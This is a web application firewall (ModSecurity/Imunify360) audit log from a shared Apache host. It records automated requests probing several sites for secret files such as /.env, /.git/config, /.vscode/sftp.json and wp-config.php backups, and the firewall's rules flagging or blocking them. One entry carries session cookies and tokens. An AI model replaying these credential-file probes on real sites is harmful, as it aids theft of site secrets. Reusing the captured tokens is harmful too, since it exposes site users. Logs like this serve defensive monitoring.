Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqYXJ2M7dE9KgIIOpQhfVAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799368971 82378 (- - -)
Stopwatch2: 1789269799368971 82378; combined=4418, p1=266, p2=4095, p3=0, p4=0, p5=56, sr=102, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7de5d008-Z--
--7d8ae12d-A--
[13/Sep/2026:06:23:19.632253 +0300] aqYXJysVWymXUono-eRQ4AAAAAk 185.55.243.172 49244 127.0.0.1 7081
--7d8ae12d-B--
GET /.vscode/sftp.json HTTP/1.1
Host: www.3000demotive.ro
X-Real-IP: 185.55.243.172
X-Accel-Internal: /internal-nginx-static-location
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
--7d8ae12d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--7d8ae12d-H--
Message: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "python-requests" at REQUEST_HEADERS:User-Agent. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "407"] [id "77316748"] [msg "IM360 WAF: User-Agent from scripting found||T:APACHE||MV:python-requests/2.32.5||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "www.3000demotive.ro"] [uri "/.vscode/sftp.json"] [unique_id "aqYXJysVWymXUono-eRQ4AAAAAk"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789269799545445 86854 (- - -)
Stopwatch2: 1789269799545445 86854; combined=3789, p1=309, p2=3425, p3=0, p4=0, p5=54, sr=183, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--7d8ae12d-Z--
--1027512a-A--
[13/Sep/2026:06:32:37.286335 +0300] aqYZVUwu1RSkptiiNIXuowAAAIw 162.243.61.206 58136 127.0.0.1 7081
--1027512a-B--
GET /.env HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 162.243.61.206
X-Accel-Internal: /internal-nginx-static-location
sec-fetch-dest: document
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
sec-fetch-site: none
sec-fetch-mode: navigate
Accept-Language: en-US,en;q=0.9
priority: u=0, i
Accept-Encoding: gzip, deflate, br
--1027512a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--1027512a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.env"] [unique_id "aqYZVUwu1RSkptiiNIXuowAAAIw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270357199266 87147 (- - -)
Stopwatch2: 1789270357199266 87147; combined=4721, p1=305, p2=4342, p3=0, p4=0, p5=74, sr=131, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--1027512a-Z--
--e09b444a-A--
[13/Sep/2026:06:32:40.540840 +0300] aqYZWDTJ6xTvcJoem7f16QAAAFI 172.86.81.83 58142 127.0.0.1 7081
--e09b444a-B--
GET /.git/config HTTP/1.1
Host: sabotagerum.com
X-Real-IP: 172.86.81.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Accept-Encoding: gzip
--e09b444a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--e09b444a-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "sabotagerum.com"] [uri "/.git/config"] [unique_id "aqYZWDTJ6xTvcJoem7f16QAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/sabotagerum.com/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270360438952 101952 (- - -)
Stopwatch2: 1789270360438952 101952; combined=38709, p1=261, p2=38375, p3=0, p4=0, p5=72, sr=136, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e09b444a-Z--
--dd01b70e-A--
[13/Sep/2026:06:37:16.527967 +0300] aqYabGM7dE9KgIIOpQhfrQAAAMI 66.249.69.193 42074 127.0.0.1 7081
--dd01b70e-B--
POST /navigation_times HTTP/1.1
Host: ihelp.ro
X-Real-IP: 66.249.69.193
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 416
Accept-Language: en-US
Content-Type: application/x-www-form-urlencoded
Cookie: cto_bundle=JFM-jF9DdzRRWGNuMXRWeiUyQjFtamo3YnBYZDEwc3J1OXlyaWxqbyUyRlN1NXUlMkYxc2VQRzZmMUdJRldkS1NIYWlEbXklMkZDMkolMkY2OVY4T3pZOGw3U0RrcWFMTFV3Q2c3N1RaVGdZSHhjciUyRnBhQVFlWDczSVBzeWx6YmYlMkJyJTJGcVFDa0dkZGNLa25EVU9OOTlsV3ZZVEJyU2xSaGljSWdnJTNEJTNE; aws-waf-token=a808f726-5420-4c29-96f3-b9c43b848303:EgoAmYIY+p2eAAAA:OIFLk6U7HyUbImy1zx4PO6Fypdrrxayff7c3ne7UUpfQN5Et/Qai43QE+BAzh1ofDw38m75JI3tIv0bVZrBW4kGyMqr/cPxTyKN+/FcghqNk1JfztJugoKUAcCXW56idOD4OZG23hqQRTl3WqDYn/BNyMgsqKUplkwh8HsUU5JtyzO8MuHRxYD8GHj9hZ6Kw1sLtX8EGazqIU2nbtxxz4ukxuzU8hIotQz6BpYZdRXNIp5KWH1aRWEQ7ebN4jdr19ehfja75ui6nGwxlv+MzaNsLTifd8YKvKk368UVcsJEJHhrQbDQbq4UV8PWhU/6HjqSmWw/M6HSBnoHf
Origin: https://ihelp.ro
Referer: https://ihelp.ro/?artikel=juragan99
X-Booking-CSRF: XJvXaAAAAAA=CX4s0D3iyg_iRUuMf2iAsA1zXpCWWartikelymbBvzH2ABQjTszO3mfTCYHHUwSJCfLs6ukyO3JHkVWlP_MW02hTuSsNl1-Ru8GTcV_Y4CC0qmOXJl6Fdl-0tPC8r8z6HBK1fIFuAnDquEPeMiNr2jwIC4paXij0E9cBqLmEYbe9YAN1ZjwZtIOctNDR7sMeXwVN0I6spkMtq322zhFeC
Accept: */*
From: googlebot(at)googlebot.com
User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.7977.82 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept-Encoding: gzip, deflate, br
--dd01b70e-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 340a7cb1-dfa9-4a7b-af1e-5f26209268d0
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--dd01b70e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789270636392784 135278 (- - -)
Stopwatch2: 1789270636392784 135278; combined=7623, p1=507, p2=6706, p3=0, p4=0, p5=410, sr=170, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--dd01b70e-Z--
--efa06a14-A--
[13/Sep/2026:06:46:26.719561 +0300] aqYckmM7dE9KgIIOpQhf7AAAAM0 151.243.174.120 55400 127.0.0.1 7081
--efa06a14-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--efa06a14-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--efa06a14-E--
--efa06a14-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271186702682 17052 (- - -)
Stopwatch2: 1789271186702682 17052; combined=9262, p1=3516, p2=5007, p3=223, p4=14, p5=502, sr=750, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--efa06a14-Z--
--6af14a3f-A--
[13/Sep/2026:06:46:27.337215 +0300] aqYckzTJ6xTvcJoem7f1-QAAAEk 151.243.174.98 55404 127.0.0.1 7081
--6af14a3f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.98
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--6af14a3f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--6af14a3f-E--
--6af14a3f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271187331569 5705 (- - -)
Stopwatch2: 1789271187331569 5705; combined=4182, p1=314, p2=3544, p3=68, p4=7, p5=248, sr=104, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--6af14a3f-Z--
--00f73408-A--
[13/Sep/2026:06:46:27.880494 +0300] aqYck2M7dE9KgIIOpQhf7gAAAMg 95.134.102.227 55414 127.0.0.1 7081
--00f73408-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36
--00f73408-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1
--00f73408-E--
--00f73408-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789271187874718 5819 (- - -)
Stopwatch2: 1789271187874718 5819; combined=4345, p1=230, p2=3793, p3=66, p4=7, p5=249, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--00f73408-Z--
--bc59dc77-A--
[13/Sep/2026:06:49:07.733157 +0300] aqYdM2M7dE9KgIIOpQhgBQAAANY 216.81.248.147 40490 127.0.0.1 7081
--bc59dc77-B--
GET /.git/config HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 216.81.248.147
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
Accept-Charset: utf-8
Accept-Encoding: gzip
--bc59dc77-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--bc59dc77-E--
--bc59dc77-H--
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Message: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.git/config||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "/.git/config" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.git/" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "656"] [id "77318034"] [msg "IM360 WAF: Blocked access to git folder||T:APACHE||MV:/.git/config||"] [severity "NOTICE"] [tag "service_i360custom"] [hostname "happy-digital.ro"] [uri "/.git/config"] [unique_id "aqYdM2M7dE9KgIIOpQhgBQAAANY"]
Stopwatch: 1789271347694697 38537 (- - -)
Stopwatch2: 1789271347694697 38537; combined=35750, p1=1338, p2=34243, p3=92, p4=11, p5=66, sr=221, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--bc59dc77-Z--
--26d9015d-A--
[13/Sep/2026:07:01:07.988063 +0300] aqYgAzTJ6xTvcJoem7f2LAAAAEU 169.40.142.172 48610 127.0.0.1 7081
--26d9015d-B--
GET /wp-config.php.bak HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--26d9015d-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--26d9015d-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgAzTJ6xTvcJoem7f2LAAAAEU"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.bak"] [unique_id "aqYgAzTJ6xTvcJoem7f2LAAAAEU"]
Action: Intercepted (phase 2)
Stopwatch: 1789272067928546 59632 (- - -)
Stopwatch2: 1789272067928546 59632; combined=57498, p1=256, p2=56629, p3=0, p4=0, p5=612, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--26d9015d-Z--
--dccd5a2b-A--
[13/Sep/2026:07:01:08.521336 +0300] aqYgBCsVWymXUono-eRRCAAAABQ 169.40.142.172 48626 127.0.0.1 7081
--dccd5a2b-B--
GET /wp-config.php~ HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--dccd5a2b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--dccd5a2b-H--
Message: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php~" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php~||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgBCsVWymXUono-eRRCAAAABQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php~"] [unique_id "aqYgBCsVWymXUono-eRRCAAAABQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272068461261 60128 (- - -)
Stopwatch2: 1789272068461261 60128; combined=58553, p1=274, p2=57909, p3=0, p4=0, p5=369, sr=123, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--dccd5a2b-Z--
--72c6534f-A--
[13/Sep/2026:07:01:08.988139 +0300] aqYgBGM7dE9KgIIOpQhgiwAAAMQ 169.40.142.172 48632 127.0.0.1 7081
--72c6534f-B--
GET /wp-config.php.save HTTP/1.1
Host: axapres.ro
X-Real-IP: 169.40.142.172
X-Accel-Internal: /internal-nginx-static-location
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html, */*
--72c6534f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1
--72c6534f-H--
Message: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase "wp-config.php." at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/wp-config.php.save||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgBGM7dE9KgIIOpQhgiwAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Access denied with code 403 (phase 2). Match of "rbl nxdomain.v2.rbl.imunify.com." against "TX:rbl_ip" required. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "535"] [id "77316861"] [msg "IM360 WAF: Block IP which is in the infectors RBL||MVN:TX:rbl_ip||MV:07-01.169.40.142.172||T:APACHE||"] [severity "CRITICAL"] [tag "service_i360custom"] [hostname "axapres.ro"] [uri "/wp-config.php.save"] [unique_id "aqYgBGM7dE9KgIIOpQhgiwAAAMQ"]
Action: Intercepted (phase 2)
Stopwatch: 1789272068926086 62176 (- - -)
Stopwatch2: 1789272068926086 62176; combined=59947, p1=278, p2=58885, p3=0, p4=0, p5=784, sr=124, sw=0, l=0, gc=0
